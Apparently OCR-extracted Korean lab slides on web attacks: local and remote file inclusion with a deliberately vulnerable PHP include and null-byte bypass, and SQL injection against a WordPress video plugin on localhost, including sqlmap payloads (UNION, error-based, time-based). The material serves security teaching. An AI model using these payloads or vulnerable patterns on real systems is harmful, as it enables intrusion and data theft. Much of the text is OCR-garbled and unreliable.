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LFI =7

LFI = Local File Inclusion(LtH)
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color.html £43LC vulnerable.php £43LC

1 <center>
o st sl ! snnige 1< |
<option value="red">red</option> 2 if (1sset{ 5 GET['COLOR'] ) )
itk 3 $color = $_GET['COLOR'];

il g B VST 4 include( $color.'.php' );

7 input type="submit
Scarears © Qolor.hfml N

i & A JCONA
hello.txt £443L COLORHI 419
HEOF OHLE AHALOI

zF) A4aE) Ay Z/V) X

Gmé% QIO yontcl:rj

kcenters

<{php

fcolor = "hella”;

echo "user @ ".$color. "#nin”;
T

<foenters

OIQ- O IL T HQOFCH
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hello OfAj ICLE ALOHOFT QIHAIL OHLE WHOLO OLHF EHAE TFOLZ OJALOHHI OHOE OFLCE

ot yylnerable.php? include($color.” .php’ )°! hello.txt2 LjLCF,

1 <?php 1 <iphp

2 if (isset{ $_GET['COLOR'] ) ) 2 if (isset( $_GET['COLOR'] ) )

] $color = $_GET['COLOR']; —) E $color = §_GET['COLOR'];

4  dnclude( $coleor.'.php' }; 4 include( $color.'.php |ii11-::-.1::{:]|;
3 1> 5 1

UI-KIDIL- El—g_ll- ‘Ié-Ol he“Ofo—EF_; L;:l'"llDl'l; Ooll 2171k Hglxgqtlll-_

*Oll27TF HEAHOFR OIQL hello.txtBF ROEAIFII AOOI yylnerable.php
DHOIBIO HEOF LION php QEAAFE HOITI MHOOICE Y] CHOJL TEOI fx}HFOL OIAION ALTHII

Warning: include( php) [function.include]: faled to open stream: No such file or directory in C:#WAPM_SetupWhtdocs#vulnerable.php on line 4

Warning: include() [function.include]: Faled opening ' php' for inclusion (include_path="") in C:WAPM_Setupt¥htdocs#vulnerable.php on line 4
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CL DFO{ M1 Al OFFOY TION DHFIOEQ OIDIOHL Nyl| Byte(0*00)2 LILLF
D2134Q DXHOJQ QLODIA Nyl ByteZ BFLFDI OHCE DXFOIOl WLIOQ OIAIGHEH

MHEFA FICL BIAON Nyl Byte2 L0 php QERERHE FITHOECH

K4 QA0 Null Byte URLOIIC, JOI %00 ' Q AFQUFLK

& http://127.0.0.1/LFl/vulnerable php?COLOR=C-##uploadwithello bd3e00

al‘>\|@ http://127.0.0.1/lfi/vulnerable php?COLOR=C:##uploadi#thello. %00
LR BEE BN EARW =70 ES2H

X NAVER [- Y ¢ WA | k=0 Blwves Bay Soe | 2ew) 0 2ms [luom e

75 G Google ) Z%LHSD AOIHZIOIY 3 052 - B4 D2 No [ oes £85I 27HHE 5709 I WWE & SE0M AP . % hitps—www.1365.gokr-v.. @ (3) YouTi

@127001 | |
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RFI =t?

RFI = Remote File Inclusion(214)
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file = getParameter(http://~)
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SQL OIA™A - (injection)

SQL(Structured Query Language)
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( L(injection) —

sQL £

| X

9 Unnamed-1#wordpress# - HeidiSQL 9.5.0.5196

OY BT ZM EF _EZ 0§ 8% P HeidisQL ZEME0| 727 SH 2

- LhRE28 2 -2 B oeNHINOOvXP-L-HiEwig ) sa=;

@ AHS 7t A0S US

| @ 322:127.001 (J GOIEHOI2: wordpress P A2+ =g

(ERE =] [ E ‘_E“E‘llﬂ EOlg 2H
v T\, Unnamed-1 1 select * from wp_users > @g ~
> 4 information_schema 8.0 KiB > -sQLEE
> mysq| > »SQLFIYE
> |4 phpmyadmin 242 KiB > L=u=n
| commentmeta —
. /(=] wp_users (10x2) |
| wp_ccmments
' wp_links # ID & user_login user_pass # user_nicename user_email
T 1 yuseon $P$BBW6do 2/bBSQUIICPF41whEbwft1Vk0 yuseon yslee @joongbu.ac kr
| Wp_options 3 paris 1234 paris ccc@ccc.com
| wp_post

>

133 select * from wp_users;
=] - N T .

134 /= § 22 &:0 F2 &:2 3

*

@ H& A 1 F&: 0.000 sec.

corresponds to your MySQL server version for tia

7t AlZh 0852 h QIUTC: 2018-06-10 25 12 o 88

1:23 () B¥ZE:06:17h T, MysQL 5.1.41
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| php.ini - H 2%
oE BHEE® MAO) 27V =E8EH)
; performance gain. The PHP directives register_globals, register_long_arrays,

; and register_argc_argv must be disabled for this directive to have any affect.
auto_globals_jit = On

; Maximum size of POST data that PHP will accept.
post_max_size = 360M

; Magic quotes

I

; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Ofﬂ
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SQL EHim ALL

@ o http://127.0.0.1/wordpress/wp-admin/admin.php?page=hdflvvideosharesettings

2 GallerySettings <y.. ¥ [} L PCOll ZHat A OF @ How to install SQLM... ... 127.0.0.1 / localhost .. [ jimmy's house: HI0l.. & databa

rl

ﬁ yuseon web server ¥ 4 - =+ New

’# Dashboard
WordPress 4.9.6 is available! Please update now.

Posts
3 Media All Videos Car/a_l 90| 5E|. % a_l j_ O_| \

Pages [Z3 Settings Comtus-video-gallerE Ct2gt 10

Comments

e Wordpress Cl2E 210l & X| 8HCY.

Appearance

ks Plugins License Key :]
Users A=A 22|k 21091 = ofH
. ool video galley £ 210| Jt=3tCt. J
Log <dration =
Settings
Video Gallery Logo Path I Aotz 7|

platoon.jpg

Categories

Logo Target




SQL "g,?ég PHP MHIOIRI FIRE

& CWAPM_SetupWhtdocswordpresswwp-contentwplugins#contus-video-
A om BEE E2Iv) ZMG) EMD) Z2HEpR) E3M 2
UodQls® 7o eux|9C]|p%F
@BIUAWF I @E=ze|d=

IRy

] e e e
28 $TypeOFvideos = $contus0BI->home_thumbdata( $thumIm
] 29 break; 05 ENDS
| 2@
31Hd case 'recent’:
32 $thumImageorder = “w.vid DESC";
33 $TypeOFvideos = $contus0BI->home_thumbdata( 7 $where, $datalimit );
34 break;
35
36 H case 'featured':
37 $thumImageorder = "w.ordering ASC';
38 $where = "AND w.featured=1";
39 $TypeOFvideos = $contus0BI->home_t $thumImageorder, $where, $datalimit );
b 48 break;
41 H case "category’:
42 $thumImageorder = intval( filter_ input( 7GET, “playid’ ) );
= 43 $TypeOFvideos = $contus0BIl-» 7 catthumbdata({ $thumImageorder, $datalimit };
I 44 break;
| 45 H case 'video':
46 $thumbImageorder = “w.vid ASC';
47 /* $vid = intval(filter input(INPUT _GET,'vid')); */
48 $vid = filter input (INPUT_GET, ‘wid');
49 $where = "AND w.vid =".%wvid;
58 $TypeOFvideos = $contus0BI->home_thumbdata( $thumbImageorder , $where , $datalimit );
51 break;
5200}
530
54 H<rss version="2.8"
55 xmlns:content="http://purl.org/rss/1.8/modules/content/"
3 56 xmlns :wfw="http: //wellformedweb.org/CommentAPI/"
57 xmlns:dc="http://purl.org/dc/elements,/1.1/"

b |0 videogalleryrss.pcs
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BN = CwWindows#system32#emd.exe - sqimappy --url “http://127.0.0.1/wordpress/wp-admin/admin-ajaxphp?acti..  — | X

{1.2.6_16i#dev}




sqlorya ~e 1, T3EJO1 ALCH Qrof

sqimap &% Zat (1)

place: GET

parameter: vid
Type: boolean-based blind
Title: AND boolean-based bling

2 : cl
Payload: action=rss&type=videokvid=1 AND 6933-ges3 i

Type: error-based

Title: MySQL >= 5.8 AND error-based - WHERE or HAVING cla

" use
Payload: action=rss&type=video&yid=1 AND (SELECT 3632 FROM(SELECT

COUNT(*) , CONCAT(0x7161796571, (SELECT (CASE WHEN (3632=3632) THeN 1

ELSE © END)),0x717a656571, FLOOR (RAND(0) *2))x FROM INFORMATION SCHEMA
CHARACTER_SETS GROUP BY x)a) N '

Type: UNION query

Title: MySQL UNION query (NULL) - 39 columns

Payload: action=rss&type=video&vid=1 UNION ALL SELECT NULL,NULL,NUL
L,NULL,NULL ,NULL ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(Ox71617
96571,0x51414c734e4641f6d5547,0x717a656571) ,NULL ,NULL ,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL NULL, NULL, NULL
,NULL,NULL,NULL,NULL#

Type: AND/OR time-based blind
Title: MysQL > 5.0.11 AND time-based blind
Payload: action=rss&type=video&vid=1 AND SLEEP(5)

[17:38:12] [INFO] the back-end DBMS is MySQL

web server operating system: Windows ;
5.6.0 pache 2.4.10
web application technology: PHP 5.6.0, Apache

CHWindowsigystem32ernd e - 0

[18:29:21] [CRITICAL] all tested parameters do not appear to be inject
able. Try to increase values for '—-level'/'—-risk" options if you wis
h to perforn more tests. If you suspect that there is some kind of pro
tection mechanism involved (e.q. WAF) naybe you could try to use optio
n '-—-tamper' (e.g. '--tamper=spacelcomnent’)

[#] shutting down at 18:29:21

C:¥sqlmap>--url "http://121.0.0.1/wordpress,wp-adnin /admin-ajax.php?ac
tion=rss§type=videokvid=1" -level 3 --risk 3 --dbms MySQL



BN CWWindows#system32Wemd.exe

BEX C#Windowsisystem32#omd.exe

[20:56:15] [CRITICAL] all tested parameters do not appear to be inject

able. Try to increase values for '——-level'/'——risk' options if yvou wis
h to perform more tests. |t wvou suspect that there is some kind of pro
tection mechanism involved (e_g. WAF) mavbe vou could try to use optio

n '——tamper' (e.g. '——tamper=spaceZcomment’')

[*] shutting down at 20:56:15




